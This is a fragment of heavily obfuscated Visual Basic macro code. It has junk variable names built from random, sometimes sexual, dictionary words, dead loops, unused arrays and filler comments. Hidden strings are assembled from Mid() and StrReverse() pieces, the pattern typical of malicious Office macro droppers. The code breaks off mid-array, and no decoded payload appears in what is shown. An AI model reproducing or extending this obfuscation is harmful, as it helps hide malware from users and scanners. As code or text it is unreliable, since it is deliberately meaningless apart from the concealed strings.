RTrim(\"dudeouterempirecooperationsenatorsthingsepisodeexpectedtuningsearching\")\nFor browsemobileslovingriverausjpcollaborativefavorsmallmaintenance = 1462 To 6261\nrequirementsdecadessalvadorphiladelphiadiabetesbobby = Not (731 < 4)\ndivineprincipalfactorslottrackbackunifiedimpressedtabstarsbright = LTrim(\"busyeggthongwi\")\nNext browsemobileslovingriverausjpcollaborativefavorsmallmaintenance\nworkflowmindcallsbarbie = workflowmindcallsbarbie + Mid(\"hotmailsuppliessnapcambridgeshorebuythickrelativelyimenassessrecipientswwcatsalarm\", 52, 4)\nDim fundingestimateconspiracyviennaprogramspharmaceuticaldisplaybanglicensed As Variant\nmerchantdemonstratesearnedcoursesheeradmithostelelementaryglobeinbox = LTrim(\"feelmoderaterichardemissionsamsterdamoffensepromophysicscorn\")\nworkflowmindcallsbarbie = workflowmindcallsbarbie + Mid(\"rationalmerchandisenoticeedtsionyeahcheapestkyuniaccompanying\", 29, 4)\nDim investlouisvillefistingcivilizationmeasurementhelpsblastkelkoocursordeposits As String\nDim physiciancustomizeclonehrefmarriageccphdsanyo As Object\nfancyarisingprincipalmembraneuniversity = \"\"\nfancyarisingprincipalmembraneuniversity = fancyarisingprincipalmembraneuniversity + StrReverse(\"heeei\")\nRem solvingchallengingmaintainsleagueburkebureaubiddingcureroomear\naffiliatedcleanersmilfsreferencesmeannegativeharolddefines = 2831\nfancyarisingprincipalmembraneuniversity = fancyarisingprincipalmembraneuniversity + Mid(\"returnedbranchesreligionneedleometoterroristheroesgirldominantconsensusrugs\", 31, 5)\nDim ddrvaluationlabordispatched As Integer\nyukonextensionlabourlouisianantcatherine = Chr(210)\nfancyarisingprincipalmembraneuniversity = fancyarisingprincipalmembraneuniversity + Mid(\"memorialadaptorcouncilproxypctwnfsillypokemonhtmlcontinentstoredspiritsisbndemanding\", 31, 3)\nDim harderyogaadobelaboratory As Integer\nDim typesbrokewindwalksoonestmerelycableschema As Variant\nfancyarisingprincipalmembraneuniversity = fancyarisingprincipalmembraneuniversity + Mid(\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzsteadywheatbbwplymouthixthaweedaircraftreproductiontrustedhunggarbage\", 75, 3)\ntravellervenezuelacoolselectionbattle = StrReverse(\"nursingviolinniagaraprofilerussiapanamalcd\")\nDim trusteescanningdesignsawaysirmime() As Byte\nfancyarisingprincipalmembraneuniversity = fancyarisingprincipalmembraneuniversity + Mid(\"alarmmanoropenspasteamericansuresrecreationalwhatsinfectedremarksrecovery\", 30, 4)\nFor lsettlefellpatientclaimhiredaudience = 9191 To 3303\nDim longboughttripsloanoxideboroughmario As String\n'complianceupsetwannamuchsacramentoinitiallyobservationsearschemistryministry\nNext lsettlefellpatientclaimhiredaudience\nDim bridalarrangedcorporationsfocusingphil As Object\nfancyarisingprincipalmembraneuniversity = fancyarisingprincipalmembraneuniversity + Mid(\"builtfrankfurtclausegaybirthdayspecificalreadysoldierindiaaccordingfloristsfictionringtoneelsewherenc\", 54, 5)\nrjempiricaldeanfraudinformed = 519 Mod 537\nFor sellersalongpassengerrtpostingparagraphbentbladesafghanistanactions = 5452 To 5078\ncostsgospelflagseternal = Chr(4)\nDim wirelesswebsitesreadersixthharder As Integer\nNext sellersalongpassengerrtpostingparagraphbentbladesafghanistanactions\nfancyarisingprincipalmembraneuniversity = fancyarisingprincipalmembraneuniversity + Mid(\"assistancesubjectseastbeliefspredictionsgoatnacchangedsecureddrinksoperatescockscroll\", 45, 3)\ncwislammoveshawwarrantycumshotupsrsprotocol = Array(\"seventhoperationssourceexamswatchingacceptancefa\", \"earthquakesportsbeefmasterkeyvbbudapest\", \"marcdellbukkakeinsertconnectingefficientseekflorence\", \"meritinvestorsdigittravelsedinburghscotiafoundationoperastoredimport\", \"effectorientationcommitteesattemptedappearingelectron\", \"solvingletpsreportersregardsbridgenegotiationslifranciscoevans\", \"accusedguestsreservoirshareholderseveryoneguard\", \"colleagueboxesclaymarionharvardharvestyeahonioninput\", \"dynamicssaleenquirybuckstipblocksviewings\")\nsuggestedstagesluthervolunteersculturessatellitesaver = 1018 Mod 793\nfancyarisingprincipalmembraneuniversity = fancyarisingprincipalmembraneuniversity + StrReverse(\"cudno\")\nDim reformlargepainfulflowermedelsetransexualesnewarksapphireworldcat As Variant\nhardcoreringwjasonpartnership = RTrim(\"joiningsyntaxnmpaceclearancecommunicationjulianbind\")\nfancyarisingprincipalmembraneuniversity = fancyarisingprincipalmembraneuniversity + StrReverse(\"ekt\")\n'ohadamvariancecontinuityconcernedveterinaryyouthexcept\nseedsaftertechnicalemployeesmilkbombinvestinstitutionsupper = Array(\"youngreallandsglovesdefineoverseaslistingsrestpittuserrghhandheld\", \"loversbluetoothintegerasideitemsell\", \"anthropologyjewishyarnjpgearningherecompoundspredictionsminds\", \"graduatehairfiguresfluxemployerstittenii\", \"occasionexactcoveredbeanswiresrealizedprospectivecanarmyanymore\")\nfancyarisingprincipalmembraneuniversity = fancyarisingprincipalmembraneuniversity + Mid(\"chinesepanelscharpaperbacksparticularlyadvisornyamessagesheriffpromisefibersurgeonscemeterymedia\", 47, 3)\nDim keypestterrainthrowinghiredcomicnitrogencultural As Integer\nconversionacttitlebitedownloadableprecisiongreenhousemechanicalfocusingsacred = Not (914 < 518)\nfancyarisingprincipalmembraneuniversity = fancyarisingprincipalmembraneuniversity + Mid(\"insulinwindssurviveenablesacerankmoderatebrackdiscovereggapparentlyfundamentalscompliancecorrectioncommunications\", 42, 5)\nDim signaturevariousnewsloan As String\nDim yetprotectivestrangermandatorychristianssupposeclosed As Object\nfancyarisingprincipalmembraneuniversity = fancyarisingprincipalmembraneuniversity + Mid(\"metdicksobligationwintidetrainedetstabradleyboredfounderfipioneer\", 33, 5)\nnoccasionalsuitedpartsbkunaprofilepharmaceuticalsfundingcox = Space(88)\nDim writtenfountainkarmaneighborsleonenaturalsnewfoundlandandersonelementary() As Byte\nfancyarisingprincipalmembraneuniversity = fancyarisingprincipalmembraneuniversity + Mid(\"studytearsngscubalankabowlingunabledenyrprefworkcontinuedrockypainted\", 40, 5)\nmissingsuggestionsworldsloswifiwednesdaylogicalmedicaidchairada = Space(79)\nboysbasketsselectipaqpackard = Not (851 > 255)\nfancyarisingprincipalmembraneuniversity = fancyarisingprincipalmembraneuniversity + Mid(\"underlyingdnsakexperiencescuttingbadgecuriousvarieswisconsinerenoughtqtyjulianalgeriaaffected\", 61, 4)\nworkergardeningmaybewillowdressmeanfluidlatelyqualificationsadipex = Chr(54)\nproudlybytesovietanswerslogicdispecifics = Array(\"relationsearchesupsexpiressolid\", \"masturbatingplayingretiredmomentumcircusdellsuspectsend\", \"entergourmetroughlycanvasnamelyguardianhawaii\", \"liablemarthaaddressserbiamakesagreesblame\", \"russellcontactseyedthursdayjayspec\", \"situationsalbaniadieszsouth\", \"portraitspaperqldcatslikedpeteholessheriffmoments\", \"kansasteachesoptimizerangers\")\nfancyarisingprincipalmembraneuniversity = fancyarisingprincipalmembraneuniversity + StrReverse(\"sec\")\nvitaminsbackgroundsgraylocaleblackjackterrainsingermiacheapknitting = StrReverse(\"stringusergsweddingsexpensespicnicinvestingfeature\")\ndtspanasonicgasolinesympathylevycustomise = RTrim(\"ceodashbenpeople\")\noxforddestinationsnewestgilotusbillionphysiciancorruptiondevelopmentbacon = \"\"\noxforddestinationsnewestgilotusbillionphysiciancorruptiondevelopmentbacon = oxforddestinationsnewestgilotusbillionphysiciancorruptiondevelopmentbacon + Mid(\"dispharmaceuticalsmechanicaljoyceplanninginputcowboybluedishesimmigrationprotrecreationdiskzoomdatabasekenneth\", 74, 4)\nDim lyingratweeknarrativeprototypehospitalantibodieskimdudegoals As String\nDim coloredpredictionperryjewel() As Byte\noxforddestinationsnewestgilotusbillionphysiciancorruptiondevelopmentbacon = oxforddestinationsnewestgilotusbillionphysiciancorruptiondevelopmentbacon + StrReverse(\"itce\")\nboldsurfacesculturerouletteindirectpostcardlesbianalabamatreatmentvegetarian = Space(16)\n'windowsarrivesratgd\noxforddestinationsnewestgilotusbillionphysiciancorruptiondevelopmentbacon = oxforddestinationsnewestgilotusbillionphysiciancorruptiondevelopmentbacon + Mid(\"relaxvainjuriespresentingdemandingpcsondinvitationsdistrictsdiscountsgiftssurprisingattractivemetalssupplementuivoters\", 38, 3)\nDim terrorismmathotcitizenshipbeforeadvisorprayersncleatheradmit As Boolean\nDim reunionutahcurvesctrlpassingclothesparallel() As Byte\noxforddestinationsnewestgilotusbillionphysiciancorruptiondevelopmentbacon = oxforddestinationsnewestgilotusbillionphysiciancorruptiondevelopmentbacon + StrReverse(\"tne\")\nseveralpassagealignasciibolivia = Space(86)\nDim resolutionstrengthenvibratorsrequiringmorningfolksexpansionpearlslotsschema As String\noxforddestinationsnewestgilotusbillionphysiciancorruptiondevelopmentbacon = oxforddestinationsnewestgilotusbillionphysiciancorruptiondevelopmentbacon + StrReverse(\"tsi\")\nbufscenicmedlineanywherejuan = Chr(92)\ndestroyedratiossustainableprocessorsinn = StrReverse(\"enterpriseprofessionalmanagecombiningfinest\")\noxforddestinationsnewestgilotusbillionphysiciancorruptiondevelopmentbacon = oxforddestinationsnewestgilotusbillionphysiciancorruptiondevelopmentbacon + Mid(\"fccfestivalschinaassistaccuratelyzspeakersworkplaceswildeparturedakotacommissionsvoltipceoschema\", 52, 4)\nfacesduoeasedroprepeatedfitted = RTrim(\"tourisminlineinlinebases\")\ntunesintendmarkersstedeliveredwashergenre = Space(98)\noxforddestinationsnewestgilotusbillionphysiciancorruptiondevelopmentbacon = oxforddestinationsnewestgilotusbillionphysiciancorruptiondevelopmentbacon + StrReverse(\"xenos\")\njcarlichitsdescendingpolymertranscriptpresentlyrestrictedwed = Chr(6)\nbarsclinicalenbkdequantumundofascinatingmadridcallsactivities = Not (398 < 742)\noxforddestinationsnewestgilotusbillionphysiciancorruptiondevelopmentbacon = oxforddestinationsnewestgilotusbillionphysiciancorruptiondevelopmentbacon + StrReverse(\"atcep\")\ncodsurvivalholidaypariscyprusdelete = Not (435 > 667)\nFor chronicforeststhreatenedadobesaskatchewantrinidad = 1148 To 8039\nDim deathmovesyorkshiretreatmentsolionlocallymetric As String\nlogreceivingseengossipmainlandtwinsworkplacepodcastsdevotedcooking = 222 Xor 448\nNext chronicforeststhreatenedadobesaskatchewantrinidad\noxforddestinationsnewestgilotusbillionphysiciancorruptiondevelopmentbacon = oxforddestinationsnewestgilotusbillionphysiciancorruptiondevelopmentbacon + Mid(\"somehowceilingregistrationandrewreviewedtiofinalsrarelywavestopequationassumption\", 41, 3)\nDim happencasinoitmaxintimategiving As Boolean\nlistenvesselsfireabguys = Not (746 < 729)\noxforddestinationsnewestgilotusbillionphysiciancorruptiondevelopmentbacon = oxforddestinationsnewestgilotusbillionphysiciancorruptiondevelopmentbacon + StrReverse(\"ersn\")\nbenchterrorismmitblockranchbeef = StrReverse(\"theoremfunctiondelayedtranslationhighlights\")\nFor diarylocationsweblogmatingquery = 9303 To 9790\nsuckdiversityglovesexactfoundedpounds = Space(22)\nheadedtumorshaftpatioobtainchassisrespondedacceptssurprisednotification = 4667\nNext diarylocationsweblogmatingquery\noxforddestinationsnewestgilotusbillionphysiciancorruptiondevelopmentbacon = oxforddestinationsnewestgilotusbillionphysiciancorruptiondevelopmentbacon + StrReverse(\"cilp\")\nDim tissuesewingaccentcarsjourneykarenprocessorshandbagsportuguese As String\nwyomingeffectiveconsistcontactedclosedskypebiology = Not (827 > 240)\noxforddestinationsnewestgilotusbillionphysiciancorruptiondevelopmentbacon = oxforddestinationsnewestgilotusbillionphysiciancorruptiondevelopmentbacon + StrReverse(\"a\")\ngraddanielzupiecepoliciesyachttapeshumanstravis = RTrim(\"fortyhawkdollarattemptingunsignedchocolatesalessecondaurora\")\nDim ottawaicjacobframesevanescencebuildtrickstftmyrtlejournals As Object\noffsetcottonzincmarionscholarshipdamagemiceherbalsb = \"\"\noffsetcottonzincmarionscholarshipdamagemiceherbalsb = offsetcottonzincmarionscholarshipdamagemiceherbalsb + Mid(\"brushsourcessansbibliographicmixingsillydownloadedweekendsstrucktreaguardfujidevotedtrinidadprecipitation\", 65, 4)\noptionalbaniajanuarymuseumsministersshelterdoesemissionspopulationdale = 8004\nDim begunsigntoldblocksabroadstress() As Byte\noffsetcottonzincmarionscholarshipdamagemiceherbalsb = offsetcottonzincmarionscholarshipdamagemiceherbalsb + Mid(\"strugglerushamericasignaturessurcriticalxxclimatenhsacredatlanticlovesstep\", 30, 3)\nRem kingpacketfreshundauroraoscarcompromisepromisesfdconfigured\nDim endlessalbumdivcardiacbelowimmigrants As String\noffsetcottonzincmarionscholarshipdamagemiceherbalsb = offsetcottonzincmarionscholarshipdamagemiceherbalsb + StrReverse(\"sube\")\nDim dicespendmerryvgtexturepacketopinionplanetscene As Object\nplannerdubaiinviteformattinghelpfulndwatchskinveterans = 554 Xor 882\noffsetcottonzincmarionscholarshipdamagemiceherbalsb = offsetcottonzincmarionscholarshipdamagemiceherbalsb + StrReverse(\"seni\")\nDim worshiptremendouslistswitchesot As Object\nDim sportlocaleactivemetacostaheading As Boolean\noffsetcottonzincmarionscholarshipdamagemiceherbalsb = offsetcottonzincmarionscholarshipdamagemiceherbalsb + Mid(\"heardpediatricbrooklynhorizonmeasurementpolicycompaqfilenamesesliscottdoormusclesfavourfacing\", 61, 5)\ndvfriendsdansdeutschebulgariarider = Chr(39)\nRem calendartiressingexamplesancient\noffsetcottonzincmarionscholarshipdamagemiceherbalsb = offsetcottonzincmarionscholarshipdamagemiceherbalsb + StrReverse(\"lek\")\nslightlysaddamtimothygmpulledtaiwan = 507 Xor 527\ngirlfriendunaseekercircuits = Space(74)\noffsetcottonzincmarionscholarshipdamagemiceherbalsb = offsetcottonzincmarionscholarshipdamagemiceherbalsb + Mid(\"keithhuexperimentsredeemheroeslecturedirtihoodorganizedthuprocchargerelectronicapollo\", 42, 5)\nrayspendingscanningstanfordryanbr = Array(\"capabilityagriculturedifferenceshumancalendar\", \"failureharmplchungarianplanner\", \"handheldsartsortbachelorarchitectassistancechronic\", \"openapietguaranteematthewbegunmrsdecimalflowerschassis\", \"housingrecyclingimportscongratulations\", \"hischemesgovernancejuanpetsutahdevelops\", \"potteryevolutionkerryrica\", \"threatsdetailoutlinecodeantonio\", \"guaranteesartistfullstylesdesigningguardssurgicaltechniquessensor\", \"shoppingfinancesguardianhobikinidrugs\", \"davisnecwarehousehighlyrimlocalringtoneboringbagot\", \"flyercolonialdiscountvirgincumdeniedterrorfoocents\", \"atacloseshundredentrancenicoleprotectedmajoritysaints\")\nDim piercebranchryanrelianceseniorsvalued As String\noffsetcottonzincmarionscholarshipdamagemiceherbalsb = offsetcottonzincmarionscholarshipdamagemiceherbalsb + Mid(\"assessmentflagdesertezmariehampshiregibraltarcommactivedecidedofficerresearchercontactinggmcmartboutiqueeconomic\", 46, 4)\n'popularityeuropeanenableoccupational\npursearthritiscriticsstep = Array(\"whaledelawarehybridcached\", \"grillpicsmacromediafreedomskillsheelglen\", \"hackerflofflinetwistorganisation\", \"prixswimremainschristianity\", \"stopexchangesdemonstrationfast\", \"novemberskatingalgebracommentaryaims\", \"unlikechicagoanatomypcsomaliaprogramtabsgooglereveal\", \"everybodygbpanalrockycivilizationboredagainstwcbaghdadfaculty\", \"adaptertemplateslowsacceptsthirtysixstandingsgeneratedaccordingpassing\", \"cancelledfansfilenamenotedeveningcartooninteractnonprofit\", \"fantasyconcerningpossessstatedleedscorpussevenregionseconomicoo\")\noffsetcottonzincmarionscholarshipdamagemiceherbalsb = offsetcottonzincmarionscholarshipdamagemiceherbalsb + Mid(\"dontvaccinewolfpeasgigreliableprovedboobittelossesholdemexistdaytonartworkputownerhollyrighttales\", 41, 4)\nnegativequarterscharacterizednorthdies = Not (857 < 2)\n'peripheralsfurthermorecartridgesaviationgordontelechargerfestivalsshopzillafundraisingsmith\noffsetcottonzincmarionscholarshipdamagemiceherbalsb = offsetcottonzincmarionscholarshipdamagemiceherbalsb + StrReverse(\"usd\")\nDim cdtjennywantingabandonedpassengershosted() As Byte\n'usedespeciallymilfgeneratinglevitraconditioningfactsinsertionborn\noffsetcottonzincmarionscholarshipdamagemiceherbalsb = offsetcottonzincmarionscholarshipdamagemiceherbalsb + StrReverse(\"tcejb\")\nFor layerlihudeclarationdreamyarn = 1206 To 4305\nemeralddebtdemonstrationrangingcruisesstage = StrReverse(\"fingeringharbordemenabledcarllesserbasketsperceptionone\")\nDim maximizeasbestoselectronicsasnmotorcyclesinclusive() As Byte\nNext layerlihudeclarationdreamyarn\ncharitableearthlampsectiongeneratorswarriorsexhaustapplianceboltedit = Array(\"sucksjewishrapidsbeastalityspeakerswrongmontgomeryalertslpinclusion\", \"liableracialswapbrowsinghumanitarianhierarchy\", \"livecamwindowsvalleydefininglecturegammapolyesterdespite\", \"clarkportraitsfunnyreedstationdespitetomassetsscoresnest\", \"pjrallynewmannotifications\", \"junkencyclopediaconsciousguidelinesmainstreamcambodiadonate\", \"insteadnokiaebooksia\", \"exactpatientsvoterepositoryalternativelyhebrew\", \"summitanythinggotprotectedportionsdeepapplicablejeepintegrity\", \"bottomweblogsbradianreservoircausedxboxlosses\")\noffsetcottonzincmarionscholarshipdamagemiceherbalsb = offsetcottonzincmarionscholarshipdamagemiceherbalsb + StrReverse(\"evi\")\nfydateszopecf = Not (505 > 1002)\nDim earlyblastnhlorganize As Variant\nkeenouttroutpurposeoliverpictureazchorusnail = \"\"\nkeenouttroutpurposeoliverpictureazchorusnail = keenouttroutpurposeoliverpictureazchorusnail + StrReverse(\"rpmi\")\nyemenremaininganimationroverchapter = Chr(39)\nDim interviewequalprivacytransitviipurchasingoopsbmwblowing As Boolean\nkeenouttroutpurposeoliverpictureazchorusnail = keenouttroutpurposeoliverpictureazchorusnail + Mid(\"genetechnologygmcobligationsimaginationjacksonovingplaceequallyjoancheckoutwebmasterlessons\", 47, 5)\ndatabasesencyclopediaspankarnoldmixermobilesproteinwalkercolumnsfemale = Space(59)\nRem collinsvirginiamachinesfaqsfatherskins\nkeenouttroutpurposeoliverpictureazchorusnail = keenouttroutpurposeoliverpictureazchorusnail + Mid(\"simulationcreaturescreensaverkitchenmeetingsextensivebattlefieldserialcreambiminescurvesmedaleffectivenessdaleacquisitionpioneerautomatic\", 71, 5)\nsprintunsignedsmtpbufingbronze = Not (661 < 191)\nhollywoodriskcoordinatedflowerdetailsjudicialdebate = 312 Mod 287\nkeenouttroutpurposeoliverpictureazchorusnail = keenouttroutpurposeoliverpictureazchorusnail + Mid(\"conductedprogramsromejudgessubiethesauruspennypolaradaptationdmcoordinate\", 42, 5)\nsenderspotshungercole = 1016 Xor 269\noptimalinvasionallowsholmeschainrtoner = RTrim(\"optimalleadershippentiumauditor\")\nkeenouttroutpurposeoliverpictureazchorusnail = keenouttroutpurposeoliverpictureazchorusnail + StrReverse(\"opser\")\nDim symbolslayerpokemonrougemenustaiwanscrich As Integer\nDim drawmilkmoviesppmlonglineartankvictimsojoin As Boolean\nkeenouttroutpurposeoliverpictureazchorusnail = keenouttroutpurposeoliverpictureazchorusnail + StrReverse(\"bisn\")\nyesalastationsleavingstrikessilicon = StrReverse(\"designationvibratorhousemediabydetail\")\nmidnightcontinuedmerexeroxbrieflybinary = Array(\"latexcommitteddrumformal\", \"diametercouncilnelsonnearestmicrophoneretaintwinslegislatureautosreducing\", \"providedamenitiesmoversasthmautclcdpaypal\", \"completefieldsforestryintroductiondijacksoninterface\", \"vampirebeamerrorsbibliography\")\nkeenouttroutpurposeoliverpictureazchorusnail = keenouttroutpurposeoliverpictureazchorusnail + Mid(\"arrangedgenderoriginkathydamagefranklinrecommendbladenewfoundlandilitscopebloggerschangedplantsrankslasstanding\", 66, 4)\nDim fewgaycapitolrowelectrichenry As Integer\nDim shopperbenjamingamespotcat As Variant\nkeenouttroutpurposeoliverpictureazchorusnail = keenouttroutpurposeoliverpictureazchorusnail + Mid(\"trunkattackothersannotationaginghumanitiesjayretaincaseyresolutionygapsinfectedpresidentcombiningrelationshipsinnovativetigermartialtotally\", 67, 1)\nDim lycospaypalbeebizfollowinghighlycetpanelsrelated As Variant\nmozambiquedirtislamicmysimontextownreedmtpocketsentrance = Not (996 > 380)\nconscioussamagainstfeeimprovelookopponentdayton = \"\"\nconscioussamagainstfeeimprovelookopponentdayton = conscioussamagainstfeeimprovelookopponentdayton + Mid(\"photographictagradswingersmilredogcottageinjuryfirewallghzgrenadareccreaturesrelax\", 27, 5)\nDim importedtigersteeringmeditationordinanceadoptedhull As Variant\nelvisspiritunlockfdsoonestprizepopeoptsupposed = Not (410 < 886)\nconscioussamagainstfeeimprovelookopponentdayton = conscioussamagainstfeeimprovelookopponentdayton + StrReverse(\"cirts\")\nDim uzbekistanherbquiptfeedbackvidentitysymptomsprepespecially As Boolean\nDim fairlywattstereodamnfranchiseconsultantshelloquantityresetstrand As Variant\nconscioussamagainstfeeimprovelookopponentdayton = conscioussamagainstfeeimprovelookopponentdayton + Mid(\"runningcopyrightsagesadjacentbedroomplantperiodictreticketsvesselsfioricetitalianbyetraininglimitcharacterized\", 50, 3)\nphoenixtransformbryanttripumpadmittedinfraredgatherbarneshs = Chr(54)\nDim damageseaspromisinginducednewervotingbelize As Boolean\nconscioussamagainstfeeimprovelookopponentdayton = conscioussamagainstfeeimprovelookopponentdayton + StrReverse(\"rmeed\")\nDim sclexmarkfisheriespdas As String\npacificprocurementosreligiousteeth = Space(42)\nconscioussamagainstfeeimprovelookopponentdayton = conscioussamagainstfeeimprovelookopponentdayton + StrReverse(\"riuqe\")\n'newfoundlanddonepgptripledec\n'colorhairwarnedstrapdirectorsgrown\nconscioussamagainstfeeimprovelookopponentdayton = conscioussamagainstfeeimprovelookopponentdayton + Mid(\"performedinvestigationscheesesimilarlysafelyorganizationsjamesgnomereviewingesradoptedmineralsendlimits\", 77, 3)\nRem weightscoachingthankhoursurpluscoatedcourtswelfareshuttlenudist\nbusyaustinshallheadquarterscanyonenableshopliabilitymuseumsaffected = Not (84 > 272)\nconscioussamagainstfeeimprovelookopponentdayton = conscioussamagainstfeeimprovelookopponentdayton + StrReverse(\"rato\")\ntightpapersministrypreciousfunklan = Not (422 > 639)\nedgartulsatonysvshitsubsequentlyfeaturescreamoutsourcing = RTrim(\"intelligenceprocurementquestionnairenervous\")\nconscioussamagainstfeeimprovelookopponentdayton = conscioussamagainstfeeimprovelookopponentdayton + StrReverse(\"nocy\")\narkansasintentconsidersrevealsconsecutiverespiratoryhelenotherwise = Not (646 > 815)\nDim sendervaryingproceduresdealeraccompanying As String\nconscioussamagainstfeeimprovelookopponentdayton = conscioussamagainstfeeimprovelookopponentdayton + StrReverse(\"isuf\")\nwinnerscrowncaptainnevadabarnesthrowlinkingperry = StrReverse(\"hendersonchiaaainvestigateistanbul\")\nmassachusettsverizonmaintainingkentbringingh = Array(\"antibodybrooklynthanksgivingapproximatelylandinggaragecvenoughrising\", \"aimstitaniumincludesadvantagereplace\", \"drivesmacromedialimesheriffrelatescolonial\", \"manualoecddeadlyexhibitionsoffset\", \"dubaicriterionsoundshighlyadministratordomainsbettingfreedoorexistence\", \"looseyeslistingsmetadatauzbekistansalariesconnectedbetharrangedadministrator\", \"uniquemarshlitethreatsatellitemailcaseguestslampmercedes\", \"hittingtiedparkslivestock\", \"feelingproteinenvironmentaltailbasketav\", \"graduationcarriersminorbearsuitesreservespecializingbryant\", \"choicessoceffortobjearth\", \"releasesstickymarriottflexdickstigersmastercardpreservationwayne\")\nconscioussamagainstfeeimprovelookopponentdayton = conscioussamagainstfeeimprovelookopponentdayton + StrReverse(\"no\")\n'basketsutconstantquestionsgenomenovdaviddollarsubmissions\nDim anybodykennethlifetimemappinghillswaketueoutsourcingenterscommodities As String\nchangingperiodroutehopes = \"\"\nchangingperiodroutehopes = changingperiodroutehopes + Mid(\"hereininformationshoppersnaturallyrecentplotsreducperceivedhungerintelligencecastlefilters\", 46, 5)\nrecommendmadnesssenegalcreekcoordinatedkeyparticipanttidecoordinatein = LTrim(\"gemwrittenuniwisereliablerecordingchemistry\")\nRem workermicrelatevendorchriststemmetsubmittingtrading\nchangingperiodroutehopes = changingperiodroutehopes + StrReverse(\"noit\")\nmilitaryshopamountsbocnnattendingcooperationportsmouthprogrammer = RTrim(\"marinepreferencetelephonepremiumrogernewerdaretookadaptation\")\nRem killingsimcoatblanketinvestigatorhandledtft\nchangingperiodroutehopes = changingperiodroutehopes + Mid(\"widescreencenturiessummitefficiencyharvardnuclearimportedssettnursewolfyarnshirtsisterspublishersbaseballpublisherachievements\", 58, 5)\nvesselsadjustliabilitychamberfuturesviapostersubmittingsimilarly = LTrim(\"nortonroddifferentdurationmexicoscenariocomputers\")\nDim pastordebtseppointjaniceimportedsagemshuttle As Variant\nchangingperiodroutehopes = changingperiodroutehopes + StrReverse(\"del\")\nDim questionpresentedmpegcompareanywherereliefnoethiopia() As Byte\nopponentsstockbladesfallingvillagamingjakerobertrabbitmitsubishi = Space(87)\nchangingperiodroutehopes = changingperiodroutehopes + Mid(\"insulationpaymentsorganismsattachmentspromoteshondaactiveontariodetectgroundsregulinquiriestonysameinstallationrequiresamoa\", 78, 5)\nFor marketplacegovernmentscorrespondingmildemocracydifferencepraguepastepdascoins = 2082 To 6270\nimprovementfavouritesgiallowancebiddingstored = 647 Xor 809\nFor urbanworkstationfemaleservaultperspectivesboobspichunter = 9967 To 6382\nxboxbrabandslessonsrockycreatestb = 231 Xor 693\nFor changedrespondentfiltereconomiesrecallragottavsneturls = 2611 To 6886\nclerkfewdependentchampionshiptalkmx = 4984\nqualifyingbobbyswingersbehavioral = 1023 Xor 236\nNext changedrespondentfiltereconomiesrecallragottavsneturls\nNext urbanworkstationfemaleservaultperspectivesboobspichunter\nNext marketplacegovernmentscorrespondingmildemocracydifferencepraguepastepdascoins\ndrivenreleasedcomesbigger = Array(\"classicalderensemblemortgagenewcastleappealsgraph\", \"aptreceiversnormsolutionmeathealthcarematter\", \"discloseenzymeunknowncap\", \"treasurerdkfeeswellnesshornanticipatedisraelireferral\", \"soulssnjeffreyownscraftsdevelopingbizrateclassicdumb\", \"paradestrongdonnacoordinationpoliticallogin\", \"vonleavesuitskitscivilconcerning\")\nchangingperiodroutehopes = changingperiodroutehopes + Mid(\"indiansboatsooattendingsemiconductordefatodianelaboratorybasketslegendsspywarewatershedtranscriptsfrequentchristinepb\", 40, 3)\nfocusesfitssirearlierstruckresponsibilitiesmario = LTrim(\"voipsuperiorphysiciansvictimscollegedodgeoxfordcitizenshipexpensesinterference\")\nadequatehundredcampsagents = RTrim(\"compchargertobagotransforminstitutions\")\nchangingperiodroutehopes = changingperiodroutehopes + StrReverse(\"nesyr\")\nFor signatureleasingtourcontained = 7432 To 3071\nweaponssounddivxdeeplynvidiapermissionwebsitesunitynested = 3325\nDim companiesclosertipscomicsguruhighszoloftdecklistusertt As Variant\nNext signatureleasingtourcontained\nFor carryintroductorymatterswarehousesparcvalue = 4028 To 1167\nnintendovisitorofflinenewspapervariousarticlesassists = Not (648 > 17)\nseparatedbunnydistributesambaacercitizensspiritualitygeographicabstracts = Not (584 > 673)\nNext carryintroductorymatterswarehousesparcvalue\nchangingperiodroutehopes = changingperiodroutehopes + StrReverse(\"pgnid\")\nRem tearlondonnativebrazilianintoshifteffectiveinfringementlincolnaustin\n'computersaccommodateensuringfxconclusionsleesunny\nchangingperiodroutehopes = changingperiodroutehopes + StrReverse(\"epor\")\nliterallyoaksfragranceraisedfamousauto = Space(79)\nnamedtopicmannerstarsmerchantsurvivormarkersyanglinking = Array(\"cubicfebruarymedianmanuallyadvisor\", \"impliesdiscoveryreproducedsenate\", \"friendshiprocksmagicalcompanionwhereasfocuslotsdale\", \"hottestprojecthtmlpricespage\", \"mozillacruiseschargerclubharrisbeliefctheatoutputstulsa\", \"nlcartoonsaccommodationleontelevisiongoodsprenaturaljcministry\", \"antiquetrustnavypiecebusesdhanatomyballot\", \"accreditationtearscrossdu\", \"interfacebearscongressionallouisprovidersmsgministersmotorolarangersbritney\", \"cannonhughfrontierfingeringmidlandsutilizationsnapshotthink\", \"cursorentirelytimrenderedalikeoptics\", \"locatedbrooklynchicksdevelopercasiopiece\", \"cvenhancedbossramstylishjelsoft\", \"penndisciplinesinvolvesportfoliomacintoshsumtranssexualrequestingnilpeterson\", \"pennyphrasecassettehttpdeveloperfoldingdegreesfindarticlesunto\")\nchangingperiodroutehopes = changingperiodroutehopes + StrReverse(\"ttalr\")\n'beltrooftipseithereaframingcollectible\nRem emeraldattachmentsresumeslaidversethreateningmphhorrorbridal\nchangingperiodroutehopes = changingperiodroutehopes + StrReverse(\"ore\")\nescapevolumesattemptedstartedloadboymetro = Not (520 > 104)\nlodgingkingdomlifetimeplcmedallindsay = Not (806 < 811)\nchangingperiodroutehopes = changingperiodroutehopes + Mid(\"retrievezealandreportersdistinctstationeryfloristccupiconfidencedecbridalembeddedgtherbalpanelscategoriesraisesvid\", 50, 5)\nRem renaissancerunstheoryboyearningissueoptimization\nDim cheeseswitchpuertolouyesterdaytonewowselectedmichelimport As Variant\nchangingperiodroutehopes = changingperiodroutehopes + StrReverse(\"ahde\")\ntonedrawnsolomoncandidateblakeadipex = RTrim(\"proceduretelechargerofferingwhatmattindividuallyaudio\")\nDim testimonyjapstspecializingterminologyathleticsreed As String\nchangingperiodroutehopes = changingperiodroutehopes + Mid(\"endorsementconfiguremanchesterfiscaltrainwichitajackieattendedfilterrdrectilesauthoritiestomorrowgearmanualsomaliabibleshanghaizonecountry\", 69, 5)\nDim historicwideactivityberkeleyrenderingbitebudgets() As Byte\nnuclearescortpearlallowancebrookp = Array(\"patientovercomefundamentalrugsoctoberexpectsamazonblogginglookminneapolis\", 